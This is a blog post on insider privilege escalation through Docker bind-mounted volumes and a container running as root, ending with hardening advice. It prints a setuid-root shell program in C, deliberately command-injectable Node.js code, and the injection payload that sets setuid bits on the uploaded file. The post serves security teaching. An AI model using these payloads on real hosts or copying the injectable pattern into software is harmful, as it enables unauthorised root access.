Dockerizing Insider Threat and Privilege Escalation

By Christopher Tran

Over the past few decades, the landscape for application hosting and deployment has changed dramatically multiple times. With the widespread usage of virtual machine technology, we’ve been able to eliminate the standard “bare-metal per service” mentality in favor of multiple virtual machines across various VM clusters. In the recent years, our desire to further maximize the ease of deployment and use of resources has led us to containerization. Docker is one of the many widespread applications of this technology and has made the process from development to production much simpler by allowing containers to map to functions on the host kernel through its container (LXC/libcontainer) functions. It has also made services more secure overall by compartmentalizing different services in order to minimize the attack landscape if a breach were to occur. However, Docker is not impenetrable. For example, in Docker version 1.3.2, there was an exploit that allowed “arbitrary code execution with root privileges” via crafted images or contaminated build files (CVE-2014-9357). Docker versions pre-1.0 were vulnerable to a breakout exploit where certain kernel capabilities were not restricted from containers which allowed rogue applications to take full control of its host machine. Since containers share a kernel and storage with the host, we’re going to take a closer look at the shared storage and understand it’s strengths and pitfalls with a demo webapp from ACME industries.

Shared Volumes are folders located on the host, typically under ‘/var/lib/docker/volumes’ and are logically mapped to each container through the use of the ‘volumes’ directive in a Dockerfile or a docker-compose file. These mappings not only map the data itself, but all ownership and permission bits as well. These volumes allow a container to have persistent storage throughout the lifespan of the container and are generally used for databases and web server storage. The default location is well protected, with the permissions on the /var/lib/docker/volumes folder set to ‘700’ and owned by root. This means that only root is able to access this directory and any directories/files inside of it. While this is the default location, developers and system administrators will often map local directories outside of that default path for convenience or organization. It’s even commonplace in various tutorials on the web. For example, in this (https://severalnines.com/blog/mysql-docker-composing-stack) tutorial, users are directed to map the container’s MySQL data directory to /storage/docker/mysql-datadir. Since this lies outside of the default folder, there is potential for an escalation vulnerability if an attacker were able to place something inside that folder if they were able to execute commands as root on the container.

Building web applications can be very difficult depending on the type of technology, the number of developers, corporate pressure, etc. While docker was built to better integrate DevOps between developers and system administrators, it also grants the developer abilities to define the operating environment of their containerized application. If the developer(s) is/are not fully aware of how to secure their container, it could lead to devastating effects. In this case, we will take a look at a situation that involves a vulnerable web application hosted on ACME’s corporate docker host.

This situation that we are investigating is an example of insider threat. In this scenario, the attacker already has shell access to the docker host, but in an unprivileged state. They also have access to ACME’s staff control panel where they upload their daily TPS reports and sign them digitally. This application is vulnerable to arbitrary command injection. Arbitrary command injection is when unauthorized users are able to run commands on a system that they would not normally have permissions or shell access on.

1

Figure 1 – TPS report upload page

The execution of docker containers usually occurs as the root user through the Docker daemon. When a docker container is deployed, a privileged user (either a user that is a member of the docker group or root) runs the deployment commands on the host. This can either be done with ‘docker run’ or with a ‘docker-compose’ file. Thanks to the rise of DevOps integration, it’s now also possible to deploy containers automatically with the ease of a ‘git push’ with things like GitLab CI. This could potentially be dangerous because code review may not have happened well (or at all) and a vulnerable web application gets deployed.

 

In the scenario, the system administrator has trusted that the ACME DevOps team has done their due diligence in developing the application and deploys it.

2

The compose file shown above is pretty bare and looks just like any other docker-compose file may look. It starts a container named ‘node’ using the ‘node:alpine’ official Node.js image, maps the relative ‘data’ directory to /data inside the container, exposes the port 80 in the container to port 8090 to the host, and executes the command “node upload.js” when it is run. Easy, right? Unfortunately, there are some issues here. As we mentioned earlier, shared volumes are generally safe if they are located in their default path but in this case, we’ve mapped it to a custom location. This might have been done for organization but is the premise for our exploit.

3

As shown above, I am an unprivileged user with access to this data directory. I can write to it, but I can’t perform actions as root (like write a file or chown).

That’s where Docker containers come in!

The use of root as the user of choice in containers is widespread in almost every Docker tutorial you’ll find on the internet. There aren’t any warnings that anyone includes for this because it just happens by default! You have to specifically specify what user the internal application would run as, or it runs as root by default. It’s fine because it’s a container, right?

4

Since the attacker knows that the host is already running Linux, they can create a simple C program that gives them an interactive shell as a different user via the ‘setuid’ function and uploads it to the TPS reports server.

 

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main(void)
{
    int current_uid = getuid();
    printf("My UID is: %d. My GID is: %dn", current_uid, getgid());
    system("/usr/bin/id");
    if (setuid(0))
    {
        perror("setuid");
        return 1;
    }
    //I am now root!
    printf("My UID is: %d. My GID is: %dn", getuid(), getgid());
    system("/usr/bin/id");

    printf("\nStarting interactive shell as %d", getuid());
    system("/bin/sh");
    return 0;
}

5

The attacker’s file is now on the server and it does not have execute or setuid permissions which would normally prevent this attack. However, as we found earlier, the TPS reports signature process is also vulnerable to command injection. We can see that the file was written to the filesystem as root, which shows that the script INSIDE the container has root permissions. Thanks to docker volumes syncing of file permissions, it is root outside of the container as well.

The command injection itself is definitely concerning, however it only has access to the container’s filesystem and there are no known exploits currently to breakout of the container. In this case, the user already has shell access to the box which makes it dangerous.

To give some background here, Docker containers have certain capabilities granted to them by the kernel (per Docker’s default configuration) that can be used inside the container. These are CHOWN, DAC_OVERRIDE, FSETID, FOWNER, MKNOD, NET_RAW, SETGID, SETUID, SETFCAP, SETPCAP, NET_BIND_SERVICE, SYS_CHROOT, KILL, AUDIT_WRITE. Notice that SETGID/SETUID is set by default in this capability list and is what gives us the ability to execute this attack.

6

The Node.js code for this is:

…

  } else if (req.url == '/utils/signtps') {

    var form = new formidable.IncomingForm();

    form.parse(req, function(err, fields, files) {
        res.writeHead(200, {'Content-Type': 'text/html'});
        if(!fields.username) {
            res.write('You didn\'t sign the report!');
            res.write('<a href="/utils">Go back to signature page</a>');
            return res.end();
        }

        cmd = 'echo "' + fields.username + '" > /tmp/signature';
        try {
            execSync(cmd) //write signature
        } catch (ex) {
            res.write("Signature error!");
            res.write('<a href="/utils">Go back to signature page</a>');
            return res.end();
        }
        fs.readFile('/tmp/signature', function(err,data) {
            if(!err) {
                res.write(data);
                res.write('<a href="/utils">Go back to signature page</a>');
                return res.end();
…

 

Combining the container running the internal application as root, the mapped volume outside of the default path, the vulnerable web application, and Docker’s default security configuration, we are able to set the required permissions on the exploit to execute it as root as the unprivileged user on the server.

 

The attacker enters: ” & chmod +x uploads/main && chmod +s uploads/main && ls -lah uploads > /tmp/signature #

And verifies the output of the injection since the signature page prints out the output file in /tmp:

7

The unprivileged user now runs the file within the mapped volume:

8

Conclusion

The computing community is continuously coming up with amazing solutions to handle our need for tighter integration between developers, maintainers, and system administrators. Docker is a great technology and can provide a multitude of security benefits when implemented correctly. There is often the saying to “implement first, secure later” and this example is a prime reason why we should try to move away from this mentality as much as possible. Additionally, the default docker configuration should try to avoid granting such blanket permissions to containers whenever possible as many do not even know that you can limit them (–cap-add/–cap-drop). Finally, tutorials and guides need to be clearer and writers/developers need to inform readers of the risks they undertake when creating containers and how to mitigate them.

 

The code for this research can be found at: https://github.com/christophert/csec380-dockerfse

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s